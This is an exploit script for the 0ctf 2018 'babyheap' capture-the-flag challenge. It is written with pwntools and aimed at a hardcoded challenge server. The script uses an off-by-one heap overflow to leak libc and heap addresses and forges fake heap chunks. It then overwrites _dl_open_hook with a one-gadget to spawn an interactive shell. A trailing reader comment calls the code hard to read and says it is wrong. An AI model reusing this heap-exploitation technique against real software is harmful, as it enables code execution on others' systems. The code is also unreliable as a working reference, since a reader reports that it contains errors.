0ctf 2018 babyheap challenge exploit

babyheap.py

from pwn import *

context.bits = 64
#libc = ELF('./libc-2.23.so')
libc = ELF('./libc-2.24.so')
main = ELF('./babyheap.dbg')
#main = ELF('./babyheap')
#dbg_file = './libc-2.23.debug'

def gdb_load_symbols_cmd(sym_file, elf, base):
    sec_str = []
    for s in elf.sections:
        if not s.name or not s.header.sh_addr:
            continue

        sec_str.append('-s {} 0x{:x}'.format(s.name, base + s.header.sh_addr))

    text_addr = elf.get_section_by_name('.text').header.sh_addr + base
    return 'add-symbol-file {} 0x{:x} {} \n'.format(sym_file, text_addr, ' '.join(sec_str))

def csize(n):
    n += 8
    if n % 0x10:
        n += 0x10 - (n % 0x10)
    return max(n, 0x20)

local = True 
local = False 
if local:
#    r = main.process(env={'LD_PRELOAD' : libc.path}, aslr=False)
    r = main.process()
    #r = main.process(env={'LD_PRELOAD' : libc.path})
else:
    SERVER = "202.120.7.204"
    PORT = 127
    r = remote(SERVER, PORT)

allocs = {}

def menu(sel):
    r.sendlineafter('Command: ', str(sel))

def alloc(size):
    idx = min(filter(lambda x: x not in allocs.keys(), xrange(15)))
    success('alloc {:d}: {:d} ({:#x})'.format(idx, size, csize(size)))
    allocs[idx] = size
    menu(1)
    r.sendlineafter('Size: ', str(size))

def update(idx, content):
    size = len(content)
    success('update {:d}: {:d}'.format(idx, size))
    if size >  allocs[idx]:
        info('overflow {:d} with {:#x}'.format(idx, ord(content[-1])))
    menu(2)
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter('Size: ', str(size))
    r.recvuntil('Content: ')
    r.send(content)

def delete(idx):
    success('delete {:d} ({:#x})'.format(idx, csize(allocs[idx])))
    del allocs[idx]
    menu(3)
    r.sendlineafter("Index: ", str(idx))

def view(idx):
    success('view {:d} ({:#x})'.format(idx, csize(allocs[idx])))
    menu(4)
    r.sendlineafter("Index: ", str(idx))
    content = r.recvuntil('1. ', drop=True)
    index, chunk = content.split(': ')
    chunk = chunk[:-1]
    index = index.split('[')[1].split(']')[0]
    success('chunk[{}]:\n{}'.format(index, hexdump(chunk)))
    return chunk


db = de_bruijn()
def cg(n):
    return ''.join([next(db) for _ in xrange(n)])

#context.log_level = 'DEBUG'

alloc(0x58)
update(0, cg(0x58))
alloc(0x58)
update(1, cg(0x58))
alloc(0x58)
update(2, cg(0x58).replace('eaacfaac', p64(0x21)).replace('maacnaac', p64(0x21)))

alloc(0x58)
update(3, cg(0x58))
alloc(0x58)
update(4, cg(0x58))
alloc(0x58)
update(5, cg(0x58).replace('uaaevaae', p64(0x21)).replace('daafeaaf', p64(0x21)))
alloc(0x58)
update(6, cg(0x58).replace('uaaevaae', p64(0x21)).replace('daafeaaf', p64(0x21)))
alloc(0x58)
update(7, cg(0x58).replace('uaaevaae', p64(0x21)).replace('daafeaaf', p64(0x21)))

update(0, cyclic(0x58) + '\x91')

delete(1)
alloc(0x58)
update(3, cyclic(0x58) + '\x91')
delete(4)

unsorted_chunk = view(2) 
unsorted_bin = u64(unsorted_chunk[:8])

info("unsorted_bin: {:#x}".format(unsorted_bin))
UNSORTED_BIN_OFFSET = 0x3c4b78 ## 2.23
UNSORTED_BIN_OFFSET = 0x399b58 ## 2.24
libc.address = unsorted_bin - UNSORTED_BIN_OFFSET
info("libc base: {:#x}".format(libc.address))

heap_leak = u64(unsorted_chunk[8:16])
info("heap leak: {:#x}".format(heap_leak))

fake_chunks = heap_leak + 0x70
update(2, fit({8:fake_chunks}))
update(5, fit({
    8:0x401, 0x18:fake_chunks + 0x30,
    0x38:0x31, 0x48:fake_chunks + 0x60}))
update(6, fit({
    8:0x421, 0x18:fake_chunks + 0x90,
    0x38:0x31, 0x48:fake_chunks + 0xc0}))

alloc(0x28)

alloc(0x28)
dl_open_hook = libc.symbols['_dl_open_hook']
update(5, fit({0x8:0x401, 0x18:dl_open_hook - 0x10, 0x28:dl_open_hook - 0x20}))
ONE_GADGET = 0xd695f +  libc.address
#ONE_GADGET = next(libc.search(asm("loop: jmp loop")))

#gdb.attach(r,
##    gdb_load_symbols_cmd(dbg_file, libc, r.libs()[libc.path]) + """
##    set substitute-path /build/glibc-bfm8X4/ /usr/src/glibc 
###    break malloc_printerr
###    break _int_malloc
#"""
#b __libc_dlopen_mode
#b __libc_dlsym
#c
#"""
#)
alloc(0x28)

update(6, flat(libc.symbols['__libc_dlsym'] + 4, libc.address + 0x149E04, ONE_GADGET))
alloc(1)

#context.log_level = 'DEBUG'
r.interactive()

why is your wp so hard to read? and in 97 line you repeat cg function three times, it was wrong!

waste my time to debug,trash code